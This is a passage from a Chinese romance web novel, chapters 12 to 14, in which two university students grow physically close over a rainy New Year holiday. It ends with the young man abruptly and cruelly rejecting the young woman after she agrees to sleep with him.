姜昊突然大步上前握住她的肩膀,目眦欲裂地向她吼道,“肖瑜,你就真的没我不行吗!肖瑜,你没了我……肖瑜,你没了我会死吗?会吗!你为什么就是没我不行!”
他吼着,有雨水顺着眼角滚滚落下,让他红了眼。
肖瑜的嘴角不可自抑地下撇着颤抖,她压抑地啜泣道,“我不是……我,姜昊,我只想看到你,看到你好好的。我只是怕你一个人在家会出事。”
“我出不出事跟你有什么关系?”姜昊的声音低了下来,还是紧握着她的双肩,有些无力地晃着她,“我好不好,在不在,跟你又有什么关系。肖瑜,你这样我……”
她大大的眼睛里,盛满了委屈,也装满了心疼。
姜昊闭上眼睛,抬手狠狠将她摁进怀里,收紧双臂,“对不起。”
*
湿淋淋的两个人进了屋,肖瑜这才有点明白,为何刚才姜昊会出现那种异样的神色。
这一次他跟父母之间,真的是大闹了一场。宽敞的客厅里一片狼藉,电视,展示柜,茶台,长几……但凡能砸断的、能砸烂的,全都稀碎,更别说已经全成了渣渣的玻璃杯。
肖瑜抬眼去看姜昊,他将手上的两个保温盒递给她,先打开中央空调,又随手拿起玄关挂着的一件衣服裹在手上,蹲在肖瑜前方,一点一点给她扫开了一条通往二楼的路,“上去洗个热水澡,别感冒了。”
肖瑜也来过姜昊家很多次,对他的书房和卧室都熟门熟路。可她有点踌躇地站在原地,声若细蚊,“我没有可以换的衣服。”
姜昊愣了一下,目光在她因为湿透而玲珑具显的曲线上顿了顿,率先抬腿上了楼,“先穿我的。”
*
热水澡再度让身体暖了起来。尽管姜昊拿了衣服给她换,也只能遮盖上半身和腰臀。毕竟男女有别,他的内裤和长裤,哪一样,肖瑜都用不上。
她把湿透的衣服过了遍水,把内裤使劲儿拧干穿上,尽管湿漉漉的很不舒服,两条腿也光溜溜的,但到底也算敝了体。
卧室里静悄悄的。
因为内裤还很湿,肖瑜哪儿也不能坐,她拿起手上的衣服准备去找烘干机,同样洗过澡换了睡衣的姜昊推门进来,瞥她一眼,伸手接过了衣服,“烘干要一个多小时。我去把饭拿上来。”
窗外的雨,还下个不停。
肖瑜因为自己这副模样,多少有些不自在,十分拘谨地立在窗前的书桌前,思索着劝解姜昊的措辞。
其实姜昊的父母一直都很宠他。他家境也不错,又是独子,痞里痞气混不吝的性子也都是爸妈给惯出来的。肖瑜一时半会儿还真想不出,有什么理由能让一家人闹成这样,甚至大过年的,都能把宝贝儿子丢在家里孤零零地悲伤。
脚步声轻轻自身后响起,肖瑜转过身,看到姜昊拿托盘端着两个保温盒和两个盛了牛奶的小碗过来时,禁不住弯了下唇角,“一个完整的杯子都没有了啊?”
“嗯。”姜昊并没有回应她的调侃,放下餐盘将保温盒和勺子递给她,自己也拿了一份,坐在床沿,“阿姨做的吗?”
“嗯。”肖瑜挖了勺蛋羹,点着头说道,“妈妈说让你中午过去吃饭。”
“你站着不累吗?”姜昊倒是没有拒绝,往一边挪了挪,朝身侧歪了下头,“坐下吃。”
肖瑜又吃了口蛋羹,脸颊却烧了起来,“我不想坐。姜昊,年夜饭也去我家吃,好吗?”
姜昊拿勺子挖蛋羹的动作滞了一下,“到时候再说吧。”
父母离开的第二天,保姆就被他放了假。这三天来,他虽说不算滴水未进,也确实没心情好好吃东西。三下五除二地干掉了蛋羹,喝完了牛奶,姜昊起身把餐具放回餐盘,又坐回床上,静静看着肖瑜。
因为没有合适的裤子给她换,他专门找了件最宽大的休闲衬衫给她。雪白的衬衣罩在她身上,不想却让平素乖巧清纯的她,性感得过分。
过长的袖口轻轻卷起,露出她嫩白的手臂。腰臀处的宽松,透过光映出她盈盈一握的腰和青春饱满的曲线,让人忍不住浮想联翩。
姜昊的喉结滚了一下,他知道不该继续看下去,却攥紧了十指,也无法控制自己紧盯她的目光。
许是他的视线太过强烈,肖瑜不经意间瞄他一眼,很别扭地转了下身子,却因这个侧身的姿势,让窗外并不刺目的光,透过白色衬衣,将她胸前的丰满弧度,也彻底展现在姜昊面前,甚至都看得见那详细的轮廓。
姜昊闭上眼睛深呼吸,再抬眸见到肖瑜已放下碗筷,却还是勾人不自知地立在窗边,他拍拍身边的位置,“你过来坐下,别老站那儿。”
“我就是不想坐。”
肖瑜觉得别扭得很。她以前曾无数次幻想过,能像男女朋友一样,亲密地亲一下他的嘴唇,真正地在他怀里抱住他的腰,把头埋在他很有安全感的胸前。
可如今两个人在卧室里,她几乎快要衣不蔽体,姜昊也是刚刚洗完澡清爽干净的模样,她却被他刚才那种陌生的眼神,看得整个人都又羞又臊,就算内裤是干的,也不敢往他身边坐。
“我只是想跟你好好说话。”姜昊干干地咽了下嗓子,收回视线看向对面的书柜,“我要
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是想动你,早动了。”
这句话对肖瑜,极具杀伤力,直接刷掉了她一秒前羞臊不安的别扭。她撇了下嘴角,依旧站在那儿,却微微垂下了头。
一时卧室里有点过于安静。姜昊盯着书柜出神,也是在转移自己的注意力。肖瑜不知道他在想什么,自己平复了心情后,小心地问道,“你跟叔叔阿姨,是因为什么事闹得这么不开心?”
姜昊抿了下唇,嗓音很淡,“小鱼儿,我们一起好好过个年吧?别提他们。可以吗?”
肖瑜知道他一时半会儿还在气头上,便也没再多劝。她抬眼在卧室里看了一圈,目光落在一个小小的心形相框上。
那个相框,是去年他过生日时,肖瑜送的。相框本身并没有多特殊,可里面装的本是她笑靥如花,双手圈在头顶比心的照片。
然而现在,那里面空空的,什么都没有。
肖瑜心里酸了一下,她转过身,看向窗外被雨水打得不断颤动的枝叶,轻声说道,“姜昊,我和北北下学期会去实习,在学校的时间不多。也可能……会出去住。”
“注意安全。”
“嗯。”
屋里太安静,雨打窗棂的声音便显得很清晰。
过了会,肖瑜又轻声说道,“你在学校里,按时吃饭,不要去喝酒。你喝多的时候,看起来很凶,容易惹事。”
“好。”
屋里再度陷入死寂。
肖瑜动了动唇角,还想再说些什么,却终是垂下了眼眸。
身后传来他起身的声响,她抬起头,窗户上映出慢慢出现在身后的他,她又低下头,往一边挪了挪,给他让出位置。
“我看了你的小说。”姜昊并没有来到她的身侧,而是依旧站在她的背后,眼睛看着窗,视线落在她窗影上低垂的小脑袋,“文字功底确实好。”
肖瑜愣了一下,脸上登时有点热,拿手抠住桌沿,也抬头去看窗户,在里面看到姜昊黏在她身上的目光,她又往一侧挪了挪,嗫嚅道,“你看的哪一篇?”
“都看了。最新章节,男主不仅是个脚踩几条船的渣,还是个分不清自己自己性取向的准GAY。”
肖瑜咬了下嘴巴,脸颊红得要滴血,竟一个字都说不出来。
“我不喜欢男人。”姜昊勾了下唇角,依旧在后看着她,只是视线是真的落在她白衣栗发的背影,而不是窗上,“你的亲热戏,的确跟文下留言说的一样,灾难现场。”
“……”肖瑜到底忍不住转过身来,红着脸瞪他,“我的文重在情节和文笔,本来那些事情也只是……”
她说不下去,因为脖颈处被姜昊火热的掌心握上。他微微低头,双眸里是陌生到她不知该如何描述的眼神。她只知道这样被他看着,她有点怕,忍不住想躲。
姜昊的拇指在她颈间轻轻摩挲,每一下,都让肖瑜的身子更软一分,尽管双手抠住桌沿靠在那里,却像是浮在海上,每一秒都有坠落溺毙的可能。
她呆滞了片刻,脸红心跳地伸手去推他,他却杵在那里,任她怎么推都一动不动。
待她慌乱地不再推他,而是要起身逃离,他才一手圈住她的腰狠狠一勾,直接把她摁在了身前。
12. 第 12 章
第十二章
两个人的心都咚咚咚疾速跳动。隔着单薄的衣衫,皮肤的温度,烫得吓人。
肖瑜知道这样不对,可她发不出声音,挪不了脚步,除了急促的呼吸,整个人不管意识还是行动,都悉数在他掌控下,毫无抵抗。
眼前的眉目逐渐放大,她看到姜昊轻轻闭上了眼睛,好看的剑眉,高高的鼻梁,似乎马上就要嵌入她的五官。
双唇上落下温热的柔软,起初只是怜惜地碰触着,一下,一下,离开又覆上。随着轻触后离去的次数越来越少,频率越来越短,终于他在她唇上厮磨着不肯再离开,握住她脖颈的手使了力,腰间的拥揽也逐渐加重,乱了气息,拿舌尖撬开了她的贝齿。
原来亲吻是甜的,是小心翼翼,是让人眩晕的。
没有其他作者描述的那样激烈,也没有她理解不来的互送口水。他在生涩地探索着她,她也懵懂地回应着他。窗外的雨成了动听的乐章,伴着屋内仅有的凌乱呼吸声,让冬日的空气都变得温暖且暧昧。
终于他亲不过瘾似的,松了在她脖颈的手,托着臀把她抱起来放在了桌上,才因手上湿漉漉的触感,眼神有了一丝清明,“怎么这么湿?”
肖瑜的眼神还很迷离,她茫然地眨了下眼睛,因他捉住衣角要去翻看的动作,猛地回神从桌上跳下来,并紧了双腿,“我,我衣服还没干。”
姜昊一时没明白,皱眉看着她的腿想了半天,双颊也渐渐晕上绯红的色,他轻咳一声转过身,“你脱下来,我去弄干。”
“不用……”肖瑜低头绞住双手,羞得嗓音都有些暗哑,“一会儿自己就干了。”
姜昊又咳了一声,却是催促道,“那么湿,怎么可能舒服。你给我,我……我放空调口吹一吹,干的快。”
肖瑜都不知道该怎么接话,声若细蚊地应道,“我不可能光着啊……”
“你坐床上去。”姜昊的喉结滚了好几下,抬手指指床,“盖上被子。”
“那也不行。”肖瑜瞅一眼他乱糟糟的床,觉得心里跳得像是揣了只兔子,“不行。”
“我给你脱?”姜昊虽没回头,可那有点坏的笑意,光听声音,就让肖瑜手足无措,“待会儿回去吃饭,你往那儿一坐,起来裤子湿一大片。你不怕叔叔阿姨把我打死吗?”
“我……”肖瑜抿了下唇,嗫嚅道,“那我自己去弄干。你有吹风机吗?”
“我头发都干了,用不着那玩意。”姜昊似乎还在笑,嗓音里夹着一股子痞劲儿,“你人在这儿呢。我放着人不动,去动你内裤?想什么呢?”
“反正就是不行。”肖瑜的两手又绞成了麻花,小声说道,“那你把你的床收拾好,拍一拍,被子抖干净。你……”她起身走了两步,拉住衣角往下摁,“你跟我说放哪儿合适。”
*
三角裤勾在椅背上,放在离书柜不远的出风口。
肖瑜坐在被窝里,靠着他靠过的垫子,盖着他盖过的被子,心里很乱。
她无数次幻想过跟他正式在一起,接吻,拥抱。刚才的亲吻满足了她对他的一切幻想,是她期待中,温柔且令人回味的初吻。可他并不是她的男朋友,她不理解他会突然亲她的缘由,更不知道,这是不是也同样是他的初吻。
可若问了,求了,他一定会再度冷下来,厌烦地躲着她。甚至会像今天一样,让她差点以为他出了事,再也见不到他了。
当时那几乎将她湮灭的惊惧,她再也不想体验第二次。即便是这样不清不楚的跟他在一起,都好过彻底失去他。
姜昊又拿了两只碗和一大瓶橙汁上来,进门时看到搭在椅背上的小内内,他忍不住看了眼肖瑜,见她连忙躲开他的目光,他唇角一勾,垂眸坏笑着说道,“我以为你会穿条有佩奇的。”
“姜昊!”肖瑜郁闷极了,都不想去接他递来的果汁,“你不许再说。”
“吃完午饭我们去看电影好吗?”姜昊对她的恼羞成怒一点都不在意,他仰头先把自己的果汁喝了,坐来床上挨着她,把倒了果汁的小碗递在她的唇边,“看恐怖片。”
“我不想看恐怖片。”肖瑜接过来喝了小半碗,很自然地递回给他,“我想看浪漫的。”
她需要灵感来写爱情小说,又不是鬼故事。
“你想看什么都行。”姜昊放下碗,腿也抬了上来,并没有坐进被窝,只在一边挨着她,也靠在垫子上,两个人肩并着肩。
肖瑜下意识就并紧了双腿,手也拽着被角往上拉了拉。
两个人的脸都有些红,似乎突然就不知道该再说些什么,视线也都凝聚在暗色格纹的被面上,只有彼此轻微且小心的呼吸声,悄悄在空气中蔓延。
姜昊突然开口,转过头来问道,“这被子盖着舒服吗?”
“嗯。”肖瑜点了下头,脸上的绯色却直接蹿上了耳后。轻柔的羊毛被,很温暖,也不沉,他的问话也并不露骨。可因为这是他的床,一想起她此刻是在他每晚入睡的被窝里躺着,还光溜溜的,肖瑜就臊得血气冲头。
“我也觉得很舒服。”姜昊的视线从她的眼睛滑向她抿起的唇,接着又往下,五指握了一下,“肖瑜……这件衣服,舒服吗?”
不仅是他的床,他的被子,她此刻贴身穿着的,也是他的衣服。
肖瑜被他问得快要坐不住,再度‘嗯’了一声,身子往里面挪了挪。
可姜昊也跟着靠了过来,手臂试探着轻轻搂上她的腰。
他的掌心依旧火热如炽,隔着衣服碰到她的时候,让她像是被烙到了似的,抖了一下。
肖瑜下意识就又伸手去推他,可他握住她的手探过头来,再一次吻住了她的唇,却又不像刚才一样小心而生涩。夹杂着橙汁酸甜味道的吻,带了些侵略般的攻击性,不过片刻,就让肖瑜呜咽着摇起了头。
他停顿下来,低喘着紧紧盯着她。
她惊慌失措地偏过头,躲开他的目光,攥紧了掌心往后缩。
可下一秒,他便再度向她凑近,板过脸来堵住唇,几乎是半压着把她抵在了靠垫上。
*
窗外的风雨一阵比一阵猛烈,摇曳的枝头,不时有残叶被浇落。
终于连姜昊自己都喘不过气地从她面颊抬起头,肖瑜已经浑身战栗,抖得不像样子。
“我也想吻你,想抱你。小鱼儿……”姜昊把她搂进怀里,低头在她耳畔喃喃唤着她道,“小鱼儿……小鱼儿,我也想,小鱼儿……”
他眼角有温热的东西快要流出来,却被他生生憋了回去。他紧紧把她往怀里摁着,一遍遍说相同的话,“我也想,小鱼儿,我也想……除了承诺,小鱼儿……除了承诺,我什么都可以给你。”
肖瑜也在哭。
起初是因他突然这样对她,觉得委屈。此刻听到他第一次诉说对自己的渴望,却依然抗拒给她承诺,她不知道面对这样的结果,她到底是该觉得满足,还是绝望。
可他的怀抱那样让她贪恋,让她进去了就舍不得离开,甚至不敢多问一句为什么,生怕如同以往,再次被他狠心推开。
肖瑜放弃地闭上眼睛,带着泪伸手环住他的背脊,也像曾经无数次幻想过那般,紧紧拥住他。
两个年轻而火热的身体,隔着属于他的被子和衣衫,密不可分。
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烘干机的定时器响起时,两个人的嘴唇都有点肿。
肖瑜去浴室换了衣服出来,姜昊也换上了外出的衣饰,见她羞得低着头不敢看他,他拉起她的手轻声笑道,“去你家吃饭。下午看完电影,我带你去挑新年礼物。”
“姜昊……”肖瑜被他牵着手慢慢走,不管唇间,还是隔衣被他爱抚过的身体,都还留有他的余温。她低着眼眸思索许久,还是忍不住小心地问道,“我……是第几个?”
“嘁。”姜昊连脚步都没带停顿,轻嗤一声,笑道,“我把初吻、初摸和初抱都给了你,你不要得了便宜还卖乖。”
肖瑜的嘴角立刻就弯了起来,被他握紧的手,也反握了他的,“可你怎么会那么熟练?”
第一次吻她,他的确还有几分生涩的样子,小心翼翼。可刚才那半个多小时,他简直就像个中老手,不给她任何休歇的机会,吻得她晕乎乎迷瞪瞪,几乎快要醉死在他怀里。
姜昊拿起玄关的伞,低声笑着在她头顶撑起,“这就是男人和女人的区别。本能。”
*
回到肖家,肖瑜待姜昊跟父母打了招呼,便借着去厨房端菜的功夫,专门叮嘱爸妈先不要过问姜昊家里的事。
肖父肖远舟和肖母穆青华本也不是八卦的性子,又心疼姜昊大过年的自己一个人在家,饭桌上亲亲热热跟他聊了些学校里的事,穆青华便笑着说道,“昊昊,马上小年了,我跟你叔商量了一下,你要不来家里住吧。不然一个人搁家,太冷清了,一日三餐的也麻烦。”
肖瑜的筷子顿了一下,她抬眼期待地看向姜昊,他的目光却只在她脸上扫了一下,便客气地朝肖母说道,“谢谢叔叔阿姨,不用了。我们都长大了,肖瑜是女孩子,我来家里住不合适,会让她被人说闲话的。”
肖瑜垂下眼去,夹了块近在眼前的菜,慢慢嚼着。
穆青华跟肖远舟对视一眼,肖远舟也笑着说道,“都邻里邻居的,又是跟父母一个屋檐下住,有什么闲话可说的。你不用担心这个。小帅那屋什么都有,他现在回来的少,你直接住那屋就行,起码早上起来能按时按点吃饭。”
“叔叔阿姨,你们的好意我明白,不过真的不用。”姜昊的语调温和有礼,却很坚持,“家里还有很多东西得收拾,不能等到过年。如果你们不嫌弃,我想像今天一样偶尔过来蹭个饭。”
“那行吧,果然是长大了。”穆青华听了,赞许地看着他,倒也不再强求,只是看了眼默不吱声的肖瑜,又笑道,“不过昊昊啊,你也别偶尔才过来,到饭点就直接来吧。你一个人在家,又不会做饭,我们家乖宝肯定放心不下,你不来她又得冒着雨去送,怪心疼人的。”
“妈妈……”心事被妈妈当众说了出来,肖瑜脸色红红看了她一眼,连忙又低下头,小声说道,“我才没有。”
“嗯。”姜昊却弯起唇角笑着点了点头,“我知道了阿姨。”
*
午饭后跟父母报了备,姜昊回家开了车过来,递给肖瑜一包草莓味的水果糖,转头一边开车,一边解释道,“我在你家住真的不合适。”
“那你会过来吃早饭吗?”肖瑜塞了两颗糖在嘴里,红红的唇瓣依旧嘟着,“你肯定不会过来。在学校的时候就是,只要不盯着你,你就老不吃早餐。时间久了会伤胃的。”
“呵。”姜昊笑着瞥她一眼,淡淡说道,“要是我说,我那是因为太享受你为我打早饭,你会不会放心点?”
“不可能。”肖瑜嘟囔着说道,“你就是贪睡。如果真是你说的那样,那我就是好心喂了狗。”
“呵,你骂谁是狗?”
13. 第 13 章
第十三章
“呵。你骂谁是狗?”
“谁贪睡不起来吃早餐就骂谁。”
“行。”姜昊又瞥一眼她红嘟嘟的双唇,笑了一下没再说话。
可到了影院停车场,好心喂了狗的肖瑜,立刻就被某狗握着脖子送过来,吻到一双眼睛水汪汪。
“还骂我吗?”姜昊意犹未尽地拿手指揉着她的唇,因她的敢怒不敢言,笑得很得意,“以后骂我一次就咬你一次。”
“……”肖瑜紧紧咬住嘴巴,待下了车步入人群,才弯了唇角也得意地看向他,“你就是狗,狗才喜欢咬人。”
雨已经停了,熙熙攘攘的人群,专治色胆包天。
可灯光暗下来的电影院里,刻意预订的最后排情侣包厢里,肖瑜因自己的一时口快,付出了惨痛的代价,彻底长了记性。
一整部影片接近两个小时,他拿风衣把她裹在怀里,抱在腿上,像是在摆弄一个玩偶,握住腰揉上胸,从额头亲到脖子,从脖子亲回额头,每一寸每一毫皮肤都没放过,甚至连她的手指都拉起来亲了一个遍,对她的唇舌更是不知疲倦地反复品尝,几乎就没消停过,简直刷新了肖瑜以往对他的一切认知。
电影院里出来的时候,肖瑜被他揽在怀里,犹豫了好半天,才红着脸小声说道,“姜昊……”
“嗯?”姜昊一副餍足的模样,低头看着她笑,“又打算骂我?我不介意上了车再给你来一遍。”
肖瑜有点郁闷,想了想,还是说道,“我以前都不知道你其实这么色。”
“我……色?”姜昊愣了一下,仿佛听了个天大的笑话,轻嗤道,“嘁。我们寝就我还是处男,我色?你是不是对‘色’这个字有什么误解?”
肖瑜被他怼得脸色通红,却又忍不住开心,咬着嘴巴嘟囔道,“可早上我们都亲那么久了,你还……你都不觉得有点多吗?我连电影演的是什么都不知道。”
“本来看电影也不是看的电影。”姜昊低笑着瞥她一眼,揽在她肩头的手也握了一下,“有些事情是不能轻易尝试的,一旦食髓知味就会停不下来。所以,我真的不能住你家,让我现在再继续天天对着你……”
他没把话说话,可肖瑜抬头看他一眼,分明又看到了那让她想躲的眼神。
*
姜昊送给肖瑜的新年礼物,是A家最新款的笔记本和小猪佩奇电脑包。
尽管肖瑜觉得不需要,可听姜昊说,是希望以后自己可以用他送的笔记本写小说,爱好被他重视的满足,让肖瑜嘴角弯得只能说‘好’。
而肖瑜也带了姜昊去挑新年礼物。她送的,是一只精巧的小鱼吊坠,跟姜昊送他的那枚一模一样,红绳穿起,挂在姜昊的手腕上,有一点幼稚,又偷摸摸有一点圈住他的心意。
以往学校里流行编手链送给喜欢的男生,肖瑜也送过,专门选了他惯爱的黑色。可他虽然接受了,却一次都没戴过。
此刻看到随着他抬手握上方向盘的动作,那条代表自己的金色小鱼在他手腕下晃啊晃,肖瑜心里甜甜的,美美的,忍不住抬眼看向他的脸,心里竟也生出几分想主动亲他一口的冲动。
果然有些东西是不能轻易尝试的,连她都开始变得有点色眯眯了。
*
晚饭是在肖远舟安排下去的馆子,肖帅也在。
新年将至,肖帅那几家汽修保养店忙得不亦乐乎,又因着一些外地员工都赶着回家过年,肖老板经常需要几个店来回跑着做替工,别说回肖宅,就连自己的公寓有时候都懒得回,直接住在店里。
原本晚饭结束,肖帅就要回公寓,可姜昊搭着他的肩在后头说了几句话,到了停车场时,他却招呼爸妈和肖瑜上了自己的车。
“你不回去?”肖父他们有点奇怪,待系好安全带,肖远舟不解地问道,“不是忙得脚不沾地吗?”
“晚上想跟耗子喝几杯。”肖帅瞥一眼身侧的肖瑜,笑了笑,“我保证不把耗子干沉,别担心。”
“好好的,怎么想起来要跟他喝酒?”肖瑜也听得莫名其妙,透过车窗看向姜昊那辆越野,“哥,你们去哪里喝?”
“去他家。”肖帅又笑,有几分揶揄地跟肖瑜说道,“你知道他那几个老爷车车模吗?就之前从北国带回来那几个?我口水流了好几年都不给,突然说让我今晚去拿。小鱼儿,嗳?你说这小子是不是做了什么对不起我的事啊?”
肖瑜咬了下唇,得亏天色很暗,没人瞧得出她红透了的脸颊。她收回视线看向前窗,嘟嘴咕哝道,“他有没有对不起你,我怎么知道。”
“难不成……是这小子突然开了窍,想做我妹夫了?”肖帅发动了车子,还在打趣肖瑜,咧嘴笑着问她,“再开学,哥哥送你上学好不好?”
“不好。”肖瑜脱口而出,听到肖帅闻声哈哈大笑,她又羞又恼地横他一眼,转头跟爸妈告状,“爸爸妈妈,看我哥,老捉弄我。”
肖父肖母在后排看着一双儿女,噙着笑不住摇头。
*
本以为肖帅去姜昊家里喝酒,晚上会直接回肖宅住。可不料这一喝,竟然直接就睡在了姜昊那儿。
一早俩人回到肖宅吃早饭,六个带着包装的车模,还有七八个他此前也一样流口水的原装手办,居然都被肖帅带了回来,两只手都抱不下,有一半都是姜昊帮他拿着。可两个人的眼睛却都有点浮肿,看那样子,似乎喝了一夜,都没怎么睡。
肖瑜早就换好了衣服,还化了个粉红色调的淡妆,下楼看到肖妈妈正在埋怨两个小辈不知道爱惜身体,她左看看,右看看,总觉得哪里不太对,却又说不上来,挤着眉过来,奇怪地问道,“哥哥,你为了几个玩具开心得觉都不睡吗?怎么那么幼稚。”
“你根本什么都不懂。”肖帅罕见地语气很冲,回了一句便跟肖母说道,“妈,我上去补个觉,中午在家吃饭。”
“帅帅,你怎么能这么跟妹妹说话啊。”抬眼见到肖瑜委屈地嘟了嘴,肖母抬手虚虚朝肖帅的背影抽了一下,待姜昊看了看肖瑜也跟着拿东西上了楼,她忙拉过闺女劝道,“你哥肯定是昨晚喝多了,还没醒酒。待会儿等他起来,妈一定替你收拾他。乖宝别难受。”
“自己喝了整晚的酒,眼睛都肿了,还朝我发火。”肖瑜嘟囔着跟肖母一起走到餐厅。肖父正在看报纸,见娘俩过来,抬头笑道,“乖宝又怎么了?一大早嘟个嘴,昊昊不都过来吃饭了么?”
“招她的是你儿子,一大早吃了火药似的。”
肖母无奈地应了一句,拉了肖瑜坐在身边,握着她的手还想再哄哄,肖帅跟姜昊已经又从楼上下来,而肖帅看了眼都不想瞅他的肖瑜,深深呼了口气,“哥错了,哥才什么都不懂,行不?别气了。”
“我可不敢生你气。”肖瑜撇着嘴喝了口牛奶,嘴巴上能吊个酒瓶子,“谁让你比我大呢,我得让着你。”
一句话说的几个人都笑了,肖帅也哭笑不得地说道,“你也就挤兑我能耐。有本事你挤兑耗子啊,一天天的,见到耗子跟老鼠见猫似的。”
“哥,你是真的想妈妈收拾你吗?”肖瑜被他当着姜昊的面调侃,不免觉得难为情,抱起妈妈的胳膊撒娇道,“妈你看他,老欺负我。现在连当着你和爸爸的面,都这么明目张胆了。”
“呵,妈要是真的
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打疼了我,你不心疼啊?”
姜昊在旁看着他俩闹,唇角浮起笑意,可微微有些浮肿的眼皮下,眸光有些黯淡。
“耗子,待会儿你把小鱼儿带出去玩吧。”肖帅又吃了会东西,正色道,“我跟爸妈有点家事得商量一下,中午你俩也别折腾着回来吃饭了,自己在外边随便弄点。”
“好。”姜昊点了下头,并没有多问。
肖父肖母闻言都是微微一怔,相视一眼却也没有多说什么。
而肖瑜原本还想问两句,为什么家事要把她排挤在外。可看到姜昊点了头,她偷笑着弯了眼眸,不但没有任何废话,连吃饭的速度都快了起来。
*
今天出去玩,姜昊倒是没有再把她往偏僻的地方拐。
他们去了曾经的高中,忆起年少时的往事,有让人笑的,有让人气的。两个人围着铁围栏绕了一圈又一圈,还去那时最爱的甜品店里吃了两块红豆糯米糕。
离开前,姜昊跟高中那会儿似的,揪了朵花坛里的小野花吹两口,扯起领子就塞进了肖瑜后脖颈,把她气得跟个追尾巴的小猫一样,不停往后看着摸。而姜昊却双手插兜看着她笑,终于她气喘吁吁把小野花从衣后抖掉了地上,气急败坏瞪着他,他才上前一把将她裹进怀里,轻吻着额头去安抚。
图书馆,科技馆,少年宫。
那些充满昔日回忆的地方,两个人都手拉手再度走了一遍。
肖瑜开心极了。
她虽还是不懂为何姜昊那么抗拒确立关系,可除了男女朋友的称呼,他们接吻,他们拥抱,连如今走在往日她蹦蹦跳跳、他双手插兜走过的地方,他们两个都是手拉着手,根本与其他的情侣一般无二。或许,他真的只是抗拒校园恋情,不然也不会放假回来就像彻底变了个人。
*
晚饭说好了回家吃,肖妈妈已经打过电话。可姜昊并没有直接把车开到肖宅,而是停在了自家的车库。
“上楼。我要亲你。”他拉肖瑜下了车,径直把她往二楼带,右手也不再只是揽住她的肩,而是很亲热地放在她的腰上。
这原本也没什么,可相比此前因情动而生的冲动,他此刻没什么情绪直奔目的的说法,十分突兀,也让肖瑜感觉有点不太舒服。
她咬了下唇,看了眼还拿在手上的佩奇气球,嗫嚅道,“为什么接吻要上楼?”
姜昊扯了下嘴角,伸手揉了下她的唇,“因为有床。”
肖瑜愣了一下,却压根来不及反应,已被他抄起腰一个公主抱,直接带入了卧室。
今天的床榻,收拾得很干净。依旧是那床暗纹的羊毛被,依旧是两个人靠过的抱枕,却铺得平平整整,像是早有准备。
肖瑜被他放在床沿坐下,她双手抓住掌心下的被褥,抬起头不知所措地看着他。
她眼睛睁得大大的,有点紧张,更多的是疑惑,看起来无辜得要人命。
姜昊脱了风衣丢去地上,俯身来解她的大衣纽扣。
肖瑜下意识拿手摁住他的手,可他微微蹙眉看她一眼,她咬了下唇,又把手轻轻放下来,却把头转向了一边。
拿掉她的大衣也丢去地上,姜昊直接在她身侧坐了下来,根本不去理会她的感受,手往她腰上一放,指尖钻入她上衣与长裤间的缝隙,一点一点贴着皮肤,向上探去。
之前那些探索,都是隔了衣服的,可这一次他炽热的温度直接灼烧在肖瑜的肌肤上,仅仅只是指尖的碰触,便让她紧张到浑身都开始颤抖。
终于他的指尖撬开了她的内衣,肖瑜再也忍不住,抬手握住了他的胳膊,“姜昊……我不喜欢这样。”
14. 第 14 章
第十四章
她眼中有着隐忍,还有一丝哀求,更是小心翼翼。
姜昊的喉结动了动,却并没有因她的拒绝停下动作,他伸出空闲的左手握起她的下巴,低头轻轻吻了上去。
许是这个吻安慰了肖瑜。心口被他彻底拿掌心覆上时,一声低吟自她喉中溢出,她攥紧十指垂下了手臂,任他将她缓缓压在床上,再没有伸手去推抵。
缠绵且悠长的吻,传递着温柔的甜蜜。肖瑜原本紧绷到颤抖的身体,也因为这个吻渐渐放松下来,甚至抬臂圈上了他的脖子,掌心也不自禁在他肩头轻轻爱抚起来。
“给我吧?”情到浓时,姜昊啄着她的唇低喃,指尖已经来到她的腰下,“现在就给我。”
肖瑜轻轻睁开眼睛。
她有点怕,可入眼是他眸中化不开的柔情,陌生却令她贪恋。她咬着唇,目不转睛望着他。沉默许久,终究她也只是再度闭上眼睛,紧握十指,轻轻点了下头。
“嘁。”一声轻嗤。
肖瑜紧攥被褥的手抖了一下,睁开眼睛。
姜昊慢吞吞从她身上坐了起来,侧过脸看着她,嘴角是平素痞痞的笑意,“真没意思。”
肖瑜依旧躺在那里,呆呆地看着他。
“你回家吧。”见她还是一动不动,姜昊也没再管她,转过头,起身去拿被丢在地上的大衣,“你实在太容易得手了,没意思。”
肖瑜的脑子是空的。
她面色苍白地,看着姜昊把自己的大衣扔来床上,砸在她的脚边。
片刻前如熔岩般滚烫的胸腔,就像是被突来的冰山撞了一个洞,灌着寒风,夹杂着冰水,将她整个人都冻住了。
“帮你脱衣服,是想上你。”姜昊起身走去书架前,很随意地将已经没了照片的心型相框摁倒,依旧拿言语凌迟着她,“现在不想上了,别指望我还有耐性帮你穿回去。”
“为什么。”肖瑜的嗓音很沙哑,似乎喉咙里堵了什么东西,连想发出声音都很艰涩,“姜昊,为什么。”
“为什么不想上你?”他背对着她,依旧随意摆弄着书柜上的物件,漫不经心地应道,“肖瑜,才两天。嘁……”
一声招牌式的轻嗤过后,姜昊才又继续说道,“早知道你这么容易就能张开腿,我今儿还费什么劲带你去高中故地重游,简直浪费时间。”
肖瑜想要坐起来,却忘了自己的手脚都长在哪里。
她闭上眼睛,睁开。再次闭上眼睛,又睁开,反反复复,终于确定他的身影的确一直在书柜前没换过位置,而自己的眼前也并没有梦境中,那双温柔多情的眼睛。
她咽了下发疼的嗓子,没有再用脑子去思考要怎么才能站起来,竟自然而然地直起了身子,开始往身上套大衣。
书柜上层的玻璃窗,将她每一个神情,每一个动作,都清晰地映照出来。
肖瑜穿好了衣服,整整齐齐扣好了每一颗扣子,甚至还歪着头,拿手指轻轻理顺了发梢。待收拾好了自己,她抬起头,怔怔看着面前的背影,嗓音依旧是哑哑的,“姜昊,你有苦衷吗?我给你解释的机会。”
姜昊把双手插进风衣的口袋,又是一声轻嗤,“肖瑜,你不是我女朋友,我不需要跟你解释。可为了让你以后别那么傻……我的苦衷?有啊,我马上要去北国,不再回来了,临走前就想看看你是不是真的那么想让我上。呵,结果……啧。”
“你要走?”肖瑜终于又有了一丝情绪,眼睛里再度有了光,“不回来了?为什么?因为这样,你才不愿意给我承诺,你怕我伤心,是不是?”
“呵。”姜昊凉凉笑了笑,转过头来不屑地看着她,“肖瑜,你是不是写小说写傻了?以为到处都是爱情童话吗?我不想给你承诺,是因为你根本不需要承诺,就上赶着送。我不想上你,也是因为你太容易得手,根本没有让人想去征服的欲望。肖瑜,你清醒一点,别总把我当成你幻想中的姜昊。我不是。”
